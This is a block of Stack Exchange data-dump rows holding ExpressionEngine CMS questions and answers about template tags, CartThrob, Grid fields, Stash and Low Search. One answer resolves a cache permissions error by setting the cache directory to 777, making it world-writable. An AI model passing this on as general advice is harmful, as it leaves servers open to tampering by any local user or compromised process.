  <row Id="30807" PostTypeId="1" CreationDate="2015-03-31T16:12:44.997" Score="0" ViewCount="46" Body="&lt;p&gt;I have a image &quot;thumbnail&quot; field in multiple channels, ie:&#xA;&quot;news_thumbnail&quot;&#xA;&quot;projects_thumbnail&quot;&#xA;&quot;editorials_thumbnail&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these images, I use EE's resizing feature to crop multiple sizes of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to display the images using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{{channel_short_code}_thumbnail}{path}_frontpage/{filename}.{extension}{/{channel_short_code_thumbnail}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{news_thumbnail}{path}_frontpage/{filename}.{extension}{/{news_thumbnail}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The {path} {filename} and {extension} variables aren't being processed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I hardcode the channel field and use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{news_thumbnail}{path}_frontpage/{filename}.{extension}{/{news_thumbnail}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{path},{filename} and {extension} are parsed to their proper values, and the image is displayed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to get this working properly?&lt;/p&gt;&#xA;" OwnerUserId="6113" LastEditorDisplayName="user3901" LastEditDate="2015-06-30T12:10:30.593" LastActivityDate="2015-06-30T12:10:30.593" Title="Thumbnails, channel_short_name and channel fields" Tags="|thumbnails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30808" PostTypeId="2" ParentId="28481" CreationDate="2015-03-31T16:36:00.200" Score="3" Body="&lt;p&gt;After speaking with Derek privately I was able to resolve the issue which is a permissions error. The steps taken to solve this are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via FTP/SSH navigate to system/expressionengine/cache and delete everything with the exception of .htaccess and index.html . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards, change your permissions on system/expressionengine/cache to be 777 then restart your server.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastEditorUserId="1085" LastEditDate="2015-04-07T14:55:49.213" LastActivityDate="2015-04-07T14:55:49.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30809" PostTypeId="1" CreationDate="2015-03-31T17:09:18.007" Score="0" ViewCount="49" Body="&lt;p&gt;I'm trying to only allow items to be added to Cartthrob's cart based on a selection made. However, before I can do that, I need to solve why the cart is updating with items even though their amount is set to zero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I tell cartthrob to either/or give me a non-selected option, or to ignore adding an item whose quantity is 0, or both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;store_packages&quot;}&#xA;    &amp;lt;select name=&quot;packages&quot; id=&quot;packages-select&quot; class='width-70 margin-bottom'&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Please Select&amp;lt;/option&amp;gt;&#xA;        {packages_packages}&#xA;            &amp;lt;option value=&quot;{sub:row_id}&quot;&amp;gt;&#xA;                {sub:title}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/packages_packages}&#xA;    &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to use the above to be able to hide/show package options based on this selection. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form class='forms' entry_id=&quot;{entry_id}&quot; no_tax=&quot;{no_tax}&quot; no_shipping = &quot;{no_shipping}&quot; return=&quot;/store/view_cart&quot;} &#xA;&#xA;    {packages_packages}&#xA;        {exp:cartthrob:item_options row_id=&quot;{sub:row_id}&quot; entry_id=&quot;{entry_id}&quot;}&#xA;            {if dynamic}&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                {input}&#xA;            {if:else}&#xA;                {if options_exist}&#xA;                    {select class='width-70 margin-bottom'}&#xA;                        &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;{option_name} {if option_price_numeric != 0} +{option_price}{/if}&amp;lt;/option&amp;gt;&#xA;                    {/select}&#xA;&#xA;                    &amp;lt;label class=&quot;input-groups&quot; id=&quot;quantity-modiphier&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;btn-append&quot;&amp;gt;&#xA;                             &amp;lt;span class=&quot;btn btn-black&quot; id=&quot;less-quantity&quot;&amp;gt;&amp;lt;i class=&quot;icon icon-minus&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;product_quantity&quot; name=&quot;quantity&quot; value=&quot;0&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;btn-append&quot;&amp;gt;&#xA;                             &amp;lt;span class=&quot;btn btn-black&quot; id=&quot;more-quantity&quot;&amp;gt;&amp;lt;i class=&quot;icon icon-plus&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&#xA;                         &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                {/if}&#xA;            {/if}&#xA;        {/exp:cartthrob:item_options}&#xA;    {/packages_packages}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I'm showing all options in their own select lists and setting the initial quantity to 0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-green&quot;&amp;gt;Add to Cart&amp;lt;/button&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;btn btn-disabled&quot;&amp;gt;Checkout&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;btn btn-disabled&quot;&amp;gt;&amp;lt;i class=&quot;icon icon-shopping-cart&quot;&amp;gt;&amp;lt;/i&amp;gt;View Cart&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet, when I hit &quot;Add to cart&quot; it adds the first option of each select list with a quantity of one. &lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2016-06-15T09:04:20.337" Title="Cartthrob adding package items while quantity is set to zero" Tags="|cartthrob|ecommerce|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30811" PostTypeId="2" ParentId="30807" CreationDate="2015-03-31T18:55:58.673" Score="0" Body="&lt;p&gt;You're trying to use the value of one variable (i.e., &lt;code&gt;{channel_short_name}&lt;/code&gt;) to determine the key of another variable located at the &lt;em&gt;same level of processing&lt;/em&gt; (i.e., &lt;code&gt;{news_thumbnail}&lt;/code&gt;), which won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/preload_replacement.html&quot; rel=&quot;nofollow&quot;&gt;preload_replace&lt;/a&gt; variables instead, since they are parsed before any module tags are processed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:current_channel=&quot;news&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;{current_channel}&quot;}&#xA;    {{current_channel}_thumbnail}{path}_frontpage/{filename}.{extension}{/{current_channel}_thumbnail}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-31T18:55:58.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30812" PostTypeId="1" CreationDate="2015-03-31T19:31:01.360" Score="1" ViewCount="375" Body="&lt;p&gt;I’m creating an extension that on installation, programmatically creates a channel and fields for that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the fields I’d like to create is a Grid field to store PDF documents against an entry. But reading through ExpressionEngine’s documentation on the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html#create-or-update-a-channel-field&quot; rel=&quot;nofollow&quot;&gt;channel fields API&lt;/a&gt; there’s no mention of Grid, and I can’t find anywhere that specifies the options for creating a Grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What options do I need to specify? So far I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    'field_name' =&amp;gt; 'floor_plans',&#xA;    'field_label' =&amp;gt; 'Floor Plans',&#xA;    'field_type' =&amp;gt; 'grid',&#xA;    'field_order' =&amp;gt; 30,&#xA;    'field_instructions' =&amp;gt; 'The floor plans for the property',&#xA;    'field_required' =&amp;gt; 'n',&#xA;    'field_search' =&amp;gt; 'n',&#xA;    'field_is_hidden' =&amp;gt; 'n',&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates the Grid field, but there are no inputs to enter data.&lt;/p&gt;&#xA;" OwnerUserId="4930" LastActivityDate="2015-04-07T10:38:08.843" Title="How to create a Grid field in extension" Tags="|grid|extension|channel-fields|api|" AnswerCount="2" CommentCount="0" ClosedDate="2015-04-08T15:48:26.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="30813" PostTypeId="2" ParentId="30701" CreationDate="2015-03-31T19:55:16.907" Score="2" Body="&lt;p&gt;On further investigation, it appears that this redirect is coming from inside that template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the attached image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g2ckg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of your header assets are being loaded just fine until something else triggers the redirect, in this example it happened after the server already responded to 15 gets from the generated page. What kind of addons does this template use? Try investigating that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To be clear, &lt;strong&gt;anchor tags are never even sent to the server&lt;/strong&gt;. If it is the .htaccess setup, there is no way it's rewriting anything based on anchors.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-04-01T13:52:42.473" LastActivityDate="2015-04-01T13:52:42.473" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30814" PostTypeId="2" ParentId="30809" CreationDate="2015-03-31T19:57:03.900" Score="0" Body="&lt;p&gt;The answer to why cartthrob was adding items to the cart although the quantity was set to zero is that the cartthrob settings used the packages channel for pricing rather than the product options from the product channel. This is modified in cartthrob's products settings. &lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2015-03-31T19:57:03.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30815" PostTypeId="1" CreationDate="2015-03-31T21:29:26.313" Score="1" ViewCount="106" Body="&lt;p&gt;I want to add the YouTube button to Wyvern fields. I enabled it in Wyvern's config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    'Styles' =&amp;gt; 'no',&#xA;    'Syntaxhighlight' =&amp;gt; 'no',&#xA;    'YouTube' =&amp;gt; 'yes',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;placed the YouTube plugin in the correct folder&#xA;&lt;a href=&quot;http://ckeditor.com/addon/youtube&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ckeditor.com/addon/youtube&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.extraPlugins = 'youtube';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to CKEditor's config.js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The button shows up in Wyvern's config screen in EE, but does not show up in the Wyvern fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/osglc.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-04-17T09:38:09.527" Title="Can't get Wyvern to show YouTube button" Tags="|wysiwyg|wyvern|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30816" PostTypeId="2" ParentId="30705" CreationDate="2015-03-31T21:49:37.100" Score="1" Body="&lt;p&gt;For each custom field you add, it adds at least 2 columns to the &lt;code&gt;exp_channel_data&lt;/code&gt; table, and if that table gets too big, it can affect performance in some respects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site with many channels and many fields, and my &lt;code&gt;exp_channel_data&lt;/code&gt; table is up to 600 columns. This becomes a problem when I want to add new custom fields. I have over 200k+ entries in that table, and it now takes several minutes to add a new custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't, however, noticed any major issues with the reading of the data... just the actions that require modifications to that table. Hope that helps some!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2015-03-31T21:49:37.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30817" PostTypeId="2" ParentId="30784" CreationDate="2015-03-31T21:51:30.070" Score="0" Body="&lt;p&gt;to make it user-readable, back in the day, I used to use a feature in Acrobat that allowed you to convert a site to a multi-page pdf. Links worked and everything. No Idea if its in the current version...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do they want move away from EE?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-03-31T21:51:30.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30818" PostTypeId="2" ParentId="30727" CreationDate="2015-03-31T21:57:32.777" Score="0" Body="&lt;p&gt;Following Derek's advice above, I wrote a quick plugin to handle the conversion. Here's the plugin method code (note: I used the &lt;a href=&quot;https://github.com/lukewilkins/EE-Add-On-Builder&quot; rel=&quot;nofollow&quot;&gt;EE Add-On Builder for Sublime Text&lt;/a&gt; to generate the plugin file and boilerplate code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function convert_timezone() {&#xA;    $timestamp = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('timestamp');&#xA;    $timezone = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('timezone');&#xA;    $format = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('format');&#xA;&#xA;    return ee()-&amp;gt;localize-&amp;gt;format_date($format, $timestamp, $timezone);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the tag it uses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:site_utilities:convert_timezone &#xA;    timestamp='{entry_date}' &#xA;    timezone='{events_tz}' &#xA;    format='%g:%i%a %T'&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2015-03-31T21:57:32.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30819" PostTypeId="1" CreationDate="2015-04-01T08:46:17.800" Score="0" ViewCount="28" Body="&lt;p&gt;Is it possible to filter Low alphabet listings by member group with Zoo visitor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_alphabet:entries&#xA;    channel=&quot;members&quot;&#xA;    alpha_ignore=&quot;the|a&quot;&#xA;    numbers=&quot;after&quot;&#xA;    group_numbers=&quot;yes&quot;&#xA;    numbers_label=&quot;#&quot;&#xA;    alpha_filter=&quot;{segment_3}&quot;&#xA;    status=&quot;not closed&quot; &#xA;    orderby=&quot;title&quot;&#xA;    show_group=&quot;7&quot;&#xA;    sort=&quot;asc&quot;&#xA;    disable=&quot;categories|member_data|pagination&quot;&#xA;}&#xA;  {if count == 1}&amp;lt;h1&amp;gt;Company A-Z&amp;lt;/h1&amp;gt;{/if}&#xA;  {if low_alphabet_heading}&#xA;    &amp;lt;h3&amp;gt;{low_alphabet_label}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;  {/if}&#xA;      &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{url_title_path=&quot;a-z/detail&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;img src=&quot;employer_logo&quot; alt=&quot;{title}&quot;/&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;  {if low_alphabet_footer}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/if}&#xA;{/exp:low_alphabet:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="172" LastEditDate="2015-04-01T09:11:22.743" LastActivityDate="2015-05-31T10:00:54.127" Title="Zoo Visitor and Low Alphabet" Tags="|members|zoo-visitor|low-alphabet|alphabetically|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30820" PostTypeId="2" ParentId="30819" CreationDate="2015-04-01T09:10:36.577" Score="1" Body="&lt;p&gt;Apart from Low Alphabet's &lt;a href=&quot;http://gotolow.com/addons/low-alphabet/docs/tags#entries&quot; rel=&quot;nofollow&quot;&gt;own parameters&lt;/a&gt;, the Entries tag inherits all parameters from the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;native channel:entries tag&lt;/a&gt;. The &lt;code&gt;show_group&lt;/code&gt; parameter is &lt;em&gt;not&lt;/em&gt; present in either, so that won't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I recall correctly, Zoo Visitor uses statuses to differentiate between member groups. That means you should be able to use the &lt;code&gt;status&lt;/code&gt; parameter to target the member group you want to display.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-01T09:10:36.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30821" PostTypeId="1" AcceptedAnswerId="30823" CreationDate="2015-04-01T09:23:36.283" Score="0" ViewCount="42" Body="&lt;p&gt;I have the following code which doesn't showing any result if I combine these two together, is this the correct syntax?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;people&quot; orderby=&quot;date&quot; category=&quot;{segment_3_category_id}&amp;amp;not51&quot;   sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6185" LastActivityDate="2015-04-01T10:03:07.467" Title="Category filtering with combination of Not and Include Low Seg2Cat" Tags="|categories|filtering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30822" PostTypeId="1" CreationDate="2015-04-01T09:53:38.720" Score="0" ViewCount="113" Body="&lt;p&gt;Been building a new form with Expression Engine 2.9.2, however when trying to use the datepicker, it seems to be using a very old version of JQuery UI, so old that it only actually functions at all in Chrome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both Firefox and IE (latest and older versions I've tested) don't actually get a working date-picker at all, they literally get no field. I've tried using it as a date field, a text field and several classes the datepicker is mean to pick up (datepicker, hasDatepicker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at it, this seems be a very old version of JQuery UI from several years ago which explains why it doesn't function, however when I download the latest version, the file layout and names are all completely different so its not just a simple matter of replacing the files with the more up to date versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a relatively simple way to update the version of JQuery UI that EE use or is it easier to just disable the EE built-in datepicker and use an external one to do the same job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also curious as to why EE would be using such an old version of JQuery UI?&lt;/p&gt;&#xA;" OwnerUserId="998" LastActivityDate="2016-06-17T00:26:40.787" Title="JqueryUI appears to be very old version, how to update?" Tags="|ee2|jquery|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30823" PostTypeId="2" ParentId="30821" CreationDate="2015-04-01T10:03:07.467" Score="0" Body="&lt;p&gt;Combining the inclusion &lt;em&gt;and&lt;/em&gt; exclusion of categories with the native channel:entries tag in a single parameter is not possible. The syntax you're using is therefore not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would either need to re-think your setup, use a custom query, or use &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; and its &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;Categories filter&lt;/a&gt;, so you can use parameters like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    channel=&quot;people&quot;&#xA;    orderby=&quot;date&quot;&#xA;    category:group1=&quot;{segment_3_category_id}&quot;&#xA;    category:group2=&quot;not 51&quot;&#xA;    sort=&quot;desc&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-01T10:03:07.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30826" PostTypeId="2" ParentId="30796" CreationDate="2015-04-01T12:24:04.357" Score="0" Body="&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Mark's answer, it's much better.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I managed to sort the issue myself, I'm sure there is a better way of doing this, but it works for now.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Setting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I first started by getting all the product ranges into a list. Notice the &lt;code&gt;parse_depth=&quot;2&quot;&lt;/code&gt; on the outer set tag. This does not work without it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;    {!-- Get all product ranges --}&#xA;    {exp:stash:set_list:productRanges name=&quot;productRanges&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;        {exp:channel:entries channel=&quot;ranges&quot; dynamic=&quot;no&quot; limit=&quot;999&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;            {stash:rangeName}{title}{/stash:rangeName}&#xA;            {stash:rangeShortname}{url_title}{/stash:rangeShortname}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list:productRanges}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we've got the ranges stored, we can then create a new list per range, and then using the &lt;code&gt;match&lt;/code&gt; and &lt;code&gt;against&lt;/code&gt; parameters, we can add products from the search results to each list if they are assigned to that product range.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;    {!-- Get all product ranges --}&#xA;    {exp:stash:set_list:productRanges name=&quot;productRanges&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;        {exp:channel:entries channel=&quot;ranges&quot; dynamic=&quot;no&quot; limit=&quot;999&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;            {stash:rangeName}{title}{/stash:rangeName}&#xA;            {stash:rangeShortname}{url_title}{/stash:rangeShortname}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list:productRanges}&#xA;&#xA;    {!-- Create a new list for each range, and add the products from the search results if they are assigned to that range. --}&#xA;    {exp:stash:get_list name=&quot;productRanges&quot;}&#xA;        {exp:stash:set_list:rangeProducts name=&quot;results--{rangeShortname}&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; match=&quot;#{rangeShortname}#&quot; against=&quot;productRange&quot;}&#xA;            {exp:low_search:results query=&quot;{segment_3}&quot; collection=&quot;products&quot; keywords:lang=&quot;en&quot; keywords:inflect=&quot;yes&quot; keywords:loose=&quot;right&quot; keywords:mode=&quot;all&quot; limit=&quot;999&quot;}&#xA;                {stash:productName}{title}{/stash:productName}&#xA;                {stash:productRange}{products__range:url_title}{/stash:productRange}&#xA;            {/exp:low_search:results}&#xA;        {/exp:stash:set_list:rangeProducts}&#xA;    {/exp:stash:get_list}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Getting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now that the lists are set it's easy to get them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;productRanges&quot;}&#xA;    {if {exp:stash:not_empty name=&quot;results--{rangeShortname}&quot;}}&#xA;        &amp;lt;p&amp;gt;{rangeShortname}&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;            {exp:stash:get_list:nested name=&quot;results--{rangeShortname}&quot;}&#xA;               &amp;lt;li&amp;gt;{productName}&amp;lt;/li&amp;gt;&#xA;            {/exp:stash:get_list:nested}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="2764" LastEditDate="2015-04-01T13:03:57.177" LastActivityDate="2015-04-01T13:03:57.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30827" PostTypeId="2" ParentId="30796" CreationDate="2015-04-01T12:29:00.360" Score="2" Body="&lt;p&gt;You only need one list. You can use the &lt;code&gt;unique=&quot;&quot;&lt;/code&gt; parameter to output unique values of a given column, and the &lt;code&gt;match=&quot;&quot;&lt;/code&gt; &amp;amp; &lt;code&gt;against=&quot;&quot;&lt;/code&gt; parameters in a nested call to the same list to select products that match each unique value. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Capture search results --}&#xA;{exp:stash:set_list name=&quot;products&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:low_search:results query=&quot;{segment_3}&quot; collection=&quot;products&quot; keywords:lang=&quot;en&quot; keywords:inflect=&quot;yes&quot; keywords:loose=&quot;right&quot; keywords:mode=&quot;all&quot; limit=&quot;999&quot;}&#xA;        {stash:item_range}{products__range:url_title}{/stash:item_range}&#xA;        {stash:product_title}{title}{/stash:product_title}&#xA;    {/exp:low_search:results}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- Output products grouped by range --}&#xA;{exp:stash:get_list name=&quot;products&quot; unique=&quot;item_range&quot; orderby=&quot;item_range&quot; sort=&quot;asc&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;Range: {item_range}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list:range name=&quot;products&quot; match=&quot;#^{item_range}$#&quot; against=&quot;item_range&quot; prefix=&quot;range&quot;}&#xA;        &amp;lt;li&amp;gt;{range:product_title}&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list:range}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2015-04-01T13:44:01.847" LastActivityDate="2015-04-01T13:44:01.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30828" PostTypeId="2" ParentId="30589" CreationDate="2015-04-01T14:10:46.827" Score="1" Body="&lt;p&gt;I ended up using &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot; rel=&quot;nofollow&quot;&gt;Solspace User&lt;/a&gt; to solve this, specifically the {exp:user:register} tag. I created one template with some fields, and another template with other fields, and it worked fine. It sounds like FreeMember was intended to do this, as well, but I couldn't get that to work.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2015-04-01T14:10:46.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30829" PostTypeId="2" ParentId="30792" CreationDate="2015-04-01T14:15:26.947" Score="1" Body="&lt;p&gt;If you trying to make the saved url user-specific I would use scope=&quot;user&quot;, and add parse_tags=&quot;yes&quot; and replace=&quot;yes&quot; to the parameters. See if this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set &#xA;    name=&quot;latest_url&quot; &#xA;    scope=&quot;user&quot; &#xA;    save=&quot;yes&quot; &#xA;    replace=&quot;yes&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    trim=&quot;yes&quot;&#xA;}&#xA;    {exp:current_url:full_url}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:get name=&quot;latest_url&quot; scope=&quot;user&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-04-01T14:15:26.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
